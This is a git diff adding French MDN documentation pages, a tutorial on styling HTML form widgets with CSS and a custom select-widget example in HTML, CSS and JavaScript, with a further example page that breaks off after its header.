+<p>Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la <a href="http://www.ietf.org/rfc/rfc1866.txt" rel="extrenal" title="http://www.ietf.org/rfc/rfc1866.txt">spécification HTML 2</a>. À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher.</p>
+
+<p>Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité.</p>
+
+<p>Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable.</p>
+
+<p>Même aujourd'hui, aucun des navigateurs n'a entièrement mis en œuvre les CSS 2.1. Avec le temps, les fournisseurs de navigateurs ont toutefois amélioré la compatibilité des CSS avec les éléments de formulaires, et bien que ce soit de mauvaise réputation pour leur utilisation, vous pouvez désormais modifier l'apparence des <a href="/fr/docs/Web/Guide/HTML/Formulaires" title="/fr/docs/HTML/Formulaires">formulaires HTML</a>.</p>
+
+<h3 id="Tous_les_widgets_ne_sont_pas_égaux_devant_les_CSS">Tous les widgets ne sont pas égaux devant les CSS</h3>
+
+<p>Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec les formulaires. Ces problèmes peuvent être classés en trois catégories.</p>
+
+<h4 id="Le_bon">Le bon</h4>
+
+<p>L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants :</p>
+
+<ol>
+ <li>{{HTMLElement("form")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+</ol>
+
+<p>Ceci inclut aussi tous les widgets de champs textuels (qu'ils soient mono ou multi‑lignes), ainsi que les boutons.</p>
+
+<h4 id="La_brute">La brute</h4>
+
+<p>L'apparence de certains éléments ne peut être modifiée que rarement et peut nécessiter quelques astuces complexes, et parfois une connaissance avancée des CSS3.</p>
+
+<p>Ceci inclut l'élément {{HTMLElement("legend")}}. Ce dernier ne peut pas être positionné correctement sur toutes les plateformes. De plus, l'apparence des cases à cocher et des boutons radio ne peut pas être modifiée directement. Toutefois, grâce à CSS3 c'est possible de contourner cette limitation. L'apparence du contenu {{htmlattrxref("placeholder", "input")}} ne peut pas être modifiée d'une manière standard. Mais tous les navigateurs qui sont compatible avec cet attribut ont aussi implémenté des pseudo-classes ou pseudo-élément propriétaires qui permettent de modifier son apparence.</p>
+
+<p>Nous allons voir comment gérer ces cas particuliers dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms" title="/fr/docs/HTML/Formulaires/Apparence_avancée_des_formulaires_HTML">Apparence avancée des formulaires HTML</a>.</p>
+
+<h4 id="Le_truand">Le truand</h4>
+
+<p>L'apparence de certains éléments n'est tout bonnement pas modifiable en utilisant les CSS. Ceci inclut toutes les interfaces avancées comme les intervalles, la sélection de couleur ou de date ainsi que les éléments déroulants, y compris les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}} et {{HTMLElement("datalist")}}. La sélection de fichiers est aussi connue pour ne pas pouvoir changer d'apparence. Les nouveaux éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} font aussi partie de cette catégorie.</p>
+
+<p>Le principal problème avec tous ces widgets vient du fait que leur structure est très complexe et les CSS n'ont pas assez d'expressions pour décrire et modifier l'apparence des éléments. Si vous souhaitez modifier l'apparence des widgets vous devez utiliser JavaScript pour construire une arborescence DOM qui vous permet de modifier l'apparence. Nous explorons cette possibilité dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés" title="/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés">Comment créer des widgets de formulaire personnalisés</a>.</p>
+
+<h2 id="Compositions_stylistiques_de_base">Compositions stylistiques de base</h2>
+
+<p>Pour changer l'apparence <a href="/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon" title="/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon">des éléments facilement modifiables</a> avec les CSS, vous ne devriez pas rencontrer de problèmes, puisqu'ils se comportent comme n'importe quel autre élément HTML. Toutefois, les feuilles de style peuvent ne pas être cohérentes entre navigateurs, il y a donc un certain nombre d'astuces à connaître.</p>
+
+<h3 id="Champs_de_recherche">Champs de recherche</h3>
+
+<p>Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire <code>-webkit-appearance</code>. Nous allons aborder le sujet plus en détails dans dans l'article : <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms" title="/fr/docs/Apparence_avancée_des_formulaires_HTML">Apparence avancée des formulaires HTML</a>.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="search"&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: css">input[type=search] {
+  border: 1px dotted #999;
+  border-radius: 0;
+
+  -webkit-appearance: none;
+}</pre>
+
+<p><img alt="This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance" src="/files/4153/search-chrome-macos.png" style="border-style: solid; border-width: 1px; height: 107px; width: 179px;"></p>
+
+<p>Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs ont une bordure, mais le premier champ n'utilise pas la propriété <code>-webkit-appearance</code> tandis que le second a recours à la propriété <code>-webkit-appearance:none</code>. La différence est notable.</p>
+
+<h3 id="Texte_et_polices_de_caractères">Texte et polices de caractères</h3>
+
+<p>Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style :</p>
+
+<pre class="brush: css">button, input, select, textarea {
+  font-family : inherit;
+  font-size   : 100%;
+}</pre>
+
+<p>La capture d'écran ci-dessous montre les différences. Sur la gauche il y a l'affichage par défaut de Firefox pour Mac OS X, avec les réglages de police par défaut du système. Sur la droite, les mêmes éléments avec la règle d'harmonisation utilisée.</p>
+
+<p><img alt="This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization" src="/files/4157/font-firefox-macos.png" style="border-style: solid; border-width: 1px; height: 234px; width: 420px;"></p>
+
+<p>Il existe un débat animé sur le fait qu'un formulaire ait une meilleure apparence en utilisant les valeurs par défaut du système d'exploitation ou en utilisant des valeurs unifiant l'apparence. C'est à vous de décider en tant que designer du site ou de l'application.</p>
+
+<h3 id="Modèle_de_boîte">Modèle de boîte</h3>
+
+<p>Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes.</p>
+
+<p><strong>Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin).</strong> Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} :</p>
+
+<pre class="brush: css">input, textarea, select, button {
+  width : 150px;
+  margin: 0;
+
+  -webkit-box-sizing: border-box; /* Pour les anciennes versions des navigateurs WebKit */
+     -moz-box-sizing: border-box; /* Pour tous les navigateurs Gecko */
+          box-sizing: border-box;
+}</pre>
+
+<p><img alt="This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing." src="/files/4161/size-chrome-win7.png" style="border-style: solid; border-width: 1px; height: 213px; width: 358px;"></p>
+
+<p>Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxref("box-sizing")}}, alors que la colonne de droite utilise la propriété CSS <code>border-box</code>. Remarquez comment tous les éléments occupent le même espace, malgré les valeurs par défaut de la plateforme pour chacun des blocs.</p>
+
+<h3 id="Positionnement">Positionnement</h3>
+
+<p>Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière :</p>
+
+<h4 id="legend">legend</h4>
+
+<p>L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément <code>fieldset</code>.</p>
+
+<p>Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut  <code>label</code> de chaque élément de formulaire du <code>fieldset</code>), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci :</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Hi!&lt;/legend&gt;
+  &lt;h1&gt;Hello&lt;/h1&gt;
+&lt;/fieldset&gt;</pre>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">legend {
+  width: 1px;
+  height: 1px;
+  overflow: hidden;
+}</pre>
+
+<h4 id="textarea">textarea</h4>
+
+<p>Par défaut, tous les navigateurs considèrent l'élément {{HTMLElement("textarea")}} comme un bloc incorporé aligné sur la ligne du bas du texte. C'est rarement ce que nous souhaitons vraiment. Pour passer d<code>'inline-block</code> à <code>block</code>, il est assez facile d'utiliser la propriété {{cssxref("display")}}. Mais si vous voulez l'utiliser en ligne, il est courant de changer son alignement vertical :</p>
+
+<pre class="brush: css">textarea {
+  vertical-align: top;
+}</pre>
+
+<h2 id="Exemple_2">Exemple</h2>
+
+<p>Regardons sur un exemple concret la façon de composer un formulaire HTML. Cela aidera à clarifier nombre de ces concepts. Nous allons construire un formulaire de contact sous forme de « carte postale » :</p>
+
+<p><img alt="C'est ce que nous voulons réaliser avec le HTML et les CSS." src="https://mdn.mozillademos.org/files/16012/fr-carte.png" style="border-style: solid; border-width: 1px; height: 315px; width: 465px;"></p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<p>Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier<a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML" title="/en-US/docs/HTML/Forms/My_first_HTML_form"> article de ce guide</a> ; il ne comporte que quelques identifiants supplémentaires et un titre.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;h1&gt;à: Mozilla&lt;/h1&gt;
+
+  &lt;div id="from"&gt;
+    &lt;label for="name"&gt;de :&lt;/label&gt;
+    &lt;input type="text" id="name" name="user_name"&gt;
+  &lt;/div&gt;
+
+  &lt;div id="reply"&gt;
+    &lt;label for="mail"&gt;répondre à :&lt;/label&gt;
+    &lt;input type="email" id="mail" name="user_email"&gt;
+  &lt;/div&gt;
+
+  &lt;div id="message"&gt;
+    &lt;label for="msg"&gt;Votre message :&lt;/label&gt;
+    &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/div&gt;
+
+  &lt;div class="button"&gt;
+    &lt;button type="submit"&gt;Poster le message&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Organiser_les_ressources">Organiser les ressources</h3>
+
+<p>C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires :</p>
+
+<ol>
+ <li>L'<a href="/files/4151/background.jpg" title="The postcard background">image de fond</a> de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail.</li>
+ <li>Une police de machine à écrire : <a href="http://www.fontsquirrel.com/fonts/Secret-Typewriter" rel="external" title="http://www.fontsquirrel.com/fonts/Secret-Typewriter">« Secret Typewriter » de fontsquirrel.com</a> — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.</li>
+ <li>Une police d'écriture manuelle : <a href="http://www.fontsquirrel.com/fonts/Journal" rel="external" title="http://www.fontsquirrel.com/fonts/Journal"> « Journal » de fontsquirrel.com </a>— téléchargez le fichier TTF dans le même répertoire que ci‑dessus.</li>
+</ol>
+
+<p> </p>
+
+<p>Les polices demandent un supplément de traitement avant de débuter :</p>
+
+<ol>
+ <li>Allez sur le <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a> de fontsquirrel.</li>
+ <li>En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur.</li>
+ <li>Décompressez le fichier zip fourni.</li>
+ <li>Dans le contenu décompressé vous trouverez deux fichiers <code>.woff</code> et deux fichiers <code>.woff2</code>. Copiez ces quatre fichiers dans un répertoire nommé <code>fonts</code>, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a> pour des informations plus détaillées.</li>
+</ol>
+
+<h3 id="Le_CSS">Le CSS</h3>
+
+<p> </p>
+
+<p>Maintenant nous pouvons approfondir les CSS de l'exemple. Ajoutez tous les blocs de code affichés ci‑dessous dans un élément {{htmlelement("style")}}, l'un après l'autre.</p>
+
+<p>D'abord, la préparation de base en définissant les règles de {{cssxref("@font-face")}} et les base des éléments {{HTMLElement("body")}} et {{HTMLElement("form")}}.</p>
+
+<pre class="brush: css">@font-face{
+  font-family : "handwriting";
+<code class="language-css"><span class="property token">  src</span><span class="punctuation token">:</span> <span class="token url">url('fonts/journal-webfont.woff2')</span> <span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'woff2'</span><span class="punctuation token">)</span>,
+       <span class="token url">url('fonts/journal-webfont.woff')</span> <span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'woff'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">font-weight</span><span class="punctuation token">:</span> normal<span class="punctuation token">;</span>
+  <span class="property token">font-style</span><span class="punctuation token">:</span> normal<span class="punctuation token">;</span></code>
+}
+
+@font-face{
+  font-family : "typewriter";
+<code class="language-css">  <span class="property token">src</span><span class="punctuation token">:</span> <span class="token url">url('fonts/veteran_typewriter-webfont.woff2')</span> <span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'woff2'</span><span class="punctuation token">)</span>,
+       <span class="token url">url('fonts/veteran_typewriter-webfont.woff')</span> <span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'woff'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">font-weight</span><span class="punctuation token">:</span> normal<span class="punctuation token">;</span>
+  <span class="property token">font-style</span><span class="punctuation token">:</span> normal<span class="punctuation token">;</span></code>
+}
+
+body {
+  font  : 21px sans-serif;
+
+  padding : 2em;
+  margin  : 0;
+
+  background : #222;
+}
+
+form {
+  position: relative;
+
+  width  : 740px;
+  height : 498px;
+  margin : 0 auto;
+
+  background: #FFF url(background.jpg);
+}</pre>
+
+<p>Maintenant nous pouvons placer nos éléments, y compris le titre et tous les éléments du formulaire.</p>
+
+<pre class="brush: css">h1 {
+  position : absolute;
+  left : 415px;
+  top  : 185px;
+
+  font : 1em "typewriter", sans-serif;
+}
+
+#from {
+  position: absolute;
+  left : 398px;
+  top  : 235px;
+}
+
+#reply {
+  position: absolute;
+  left : 390px;
+  top  : 285px;
+}
+
+#message {
+  position: absolute;
+  left : 20px;
+  top  : 70px;
+}</pre>
+
+<p>C'est là que nous commençons à travailler sur les éléments du formulaire eux-mêmes. Tout d'abord, assurons-nous que l'élément {{HTMLElement("label")}} est doté de la bonne police de caractères.</p>
+
+<pre class="brush: css">label {
+  font : .8em "typewriter", sans-serif;
+}</pre>
+
+<p>Les champs texte nécessitent quelques règles courantes. Mettons‑les simplement, nous supprimons {{cssxref("border","borders")}} et {{cssxref("background","backgrounds")}} et redéfinissons {{cssxref("padding")}} et {{cssxref("margin")}}.</p>
+
+<pre class="brush: css">input, textarea {
+  font    : .9em/1.5em "handwriting", sans-serif;
+
+  border  : none;
+  padding : 0 10px;
+  margin  : 0;
+  width   : 240px;
+
+  background: none;
+}</pre>
+
+<p>Lorsque l'un de ces champs reçoit le focus, nous le mettons en évidence avec un fond gris clair et transparent. Notez qu'il est important d'ajouter la propriété {{cssxref("outline")}} pour supprimer le focus par défaut ajouté par certains navigateurs.</p>
+
+<pre class="brush: css">input:focus, textarea:focus {
+  background   : rgba(0,0,0,.1);
+  border-radius: 5px;
+  outline      : none;
+}</pre>
+
+<p>Maintenant que nos champs texte sont terminés, nous devons ajuster l'affichage de ceux à une et ceux à plusieurs lignes pour qu'ils correspondent, car ils ne sont généralement pas du tout identiques par défaut.</p>
+
+<p>Le champ texte à une seule ligne a besoin de quelques ajustements pour un bon rendu dans Internet Explorer. Internet Explorer ne définit pas la hauteur des champs en fonction de la hauteur naturelle de la police (qui est le comportement de tous les autres navigateurs). Pour résoudre ce problème, nous devons ajouter une hauteur explicite au champ, comme suit :</p>
+
+<pre class="brush: css">input {
+    height: 2.5em; /* pour IE */
+    vertical-align: middle; /* optionnel mais donne meilleur aspect pour IE */
+}</pre>
+
+<p>Les éléments {{HTMLElement("textarea")}} sont rendus par défaut en tant qu'élément bloc. Les deux choses importantes ici sont les propriétés {{cssxref("resize")}} et {{cssxref("overflow")}}. Comme notre design est à taille fixe, nous utiliserons la propriété resize pour empêcher les utilisateurs de redimensionner le champ texte multiligne. La propriété {{cssxref("overflow")}} est utilisée pour rendre le champ plus cohérent d'un navigateur à l'autre ; certains navigateurs utilisent la valeur <code>auto</code> et d'autres la valeur par défaut pour <code>scroll</code> lorsqu'elle n'est pas précisée. Dans notre cas, il vaut mieux s'assurer que tout le monde utilise <code>auto</code>.</p>
+
+<pre class="brush: css">textarea {
+  display : block;
+
+  padding : 10px;
+  margin  : 10px 0 0 -10px;
+  width   : 340px;
+  height  : 360px;
+
+  resize  : none;
+  overflow: auto;
+}</pre>
+
+<p>L'élément {{HTMLElement("button")}} est très accommodant avec les CSS ; vous faites ce que vous voulez, même en utilisant les <a href="/en-US/docs/CSS/Pseudo-elements" title="/en-US/docs/CSS/Pseudo-elements">pseudo-elements</a> !</p>
+
+<pre class="brush: css">button {
+  position     : absolute;
+  left         : 440px;
+  top          : 360px;
+
+  padding      : 5px;
+
+  font         : bold .6em sans-serif;
+  border       : 2px solid #333;
+  border-radius: 5px;
+  background   : none;
+
+  cursor       : pointer;
+
+-webkit-transform: rotate(-1.5deg);
+   -moz-transform: rotate(-1.5deg);
+    -ms-transform: rotate(-1.5deg);
+     -o-transform: rotate(-1.5deg);
+        transform: rotate(-1.5deg);
+}
+
+button:after {
+  content: " &gt;&gt;&gt;";
+}
+
+button:hover,
+button:focus {
+  outline   : none;
+  background: #000;
+  color   : #FFF;
+}</pre>
+
+<p>Et voilà ! (en français dans le texte)</p>
+
+<div class="note">
+<p><strong>Note :</strong> si cet exemple ne fonctionne pas tout à fait comme vous l'attendez et que vous voulez vérifier votre version, vous la trouverez sur GitHub — voyez‑la <a href="https://mdn.github.io/learning-area/html/forms/postcard-example/">fonctionner en direct</a> (et revoyez son <a href="https://github.com/mdn/learning-area/tree/master/html/forms/postcard-example">code source</a>).</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Comme vous pouvez le voir, tant que nous voulons construire des formulaires avec seulement des champs de texte et des boutons, il est facile de les styliser à l'aide des CSS. Si vous voulez en savoir plus sur les petites astuces des CSS qui peuvent vous faciliter la vie lorsque vous travaillez avec des widgets de formulaire, jetez un coup d'oeil à la partie formulaire du <a href="http://necolas.github.com/normalize.css">projet normalize.css</a>.</p>
+
+<p>Dans le <a href="/fr/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms">prochain article</a>, nous verrons comment gérer les widgets des catégories « brutes » et « truands ».</p>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li>Mise en forme des formulaires HTML</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_3/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_3/index.html
new file mode 100644
index 0000000000..a647cfaba3
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_3/index.html
@@ -0,0 +1,247 @@
+---
+title: Exemple 3
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3
+tags:
+  - Formulaires
+  - HTML
+translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3
+---
+<p>Ceci est le troisième exemple expliquant comment <a href="https://developer.mozilla.org/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">construire des widgets de formulaire personnalisés</a>.</p>
+
+<h2 id="Change_states" name="Change_states">Changement d'état</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;form class="no-widget"&gt;
+  &lt;select name="myFruit" tabindex="-1"&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Fraise&lt;/option&gt;
+      &lt;option&gt;Pomme&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;div class="select" tabindex="0"&gt;
+    &lt;span class="value"&gt;Cerise&lt;/span&gt;
+    &lt;ul class="optList hidden"&gt;
+      &lt;li class="option"&gt;Cerise&lt;/li&gt;
+      &lt;li class="option"&gt;Citron&lt;/li&gt;
+      &lt;li class="option"&gt;Banane&lt;/li&gt;
+      &lt;li class="option"&gt;Fraise&lt;/li&gt;
+      &lt;li class="option"&gt;Pomme&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenu_du_CSS">Contenu du CSS</h3>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+// ------------------- //
+// Lien aux événements //
+// ------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    },  false);
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Change_states') }}</p>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_4/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_4/index.html
new file mode 100644
index 0000000000..4bd1a9a069
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_4/index.html
@@ -0,0 +1,297 @@
+---
+title: Exemple 4
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4
+tags:
+  - Avancé
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4
+---
+<p>Ceci est le quatrième exemple expliquant <a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">comment construire des widgets de formulaire personnalisés</a>.</p>
+
+<h2 id="Change_states" name="Change_states">Changement d'état</h2>
+
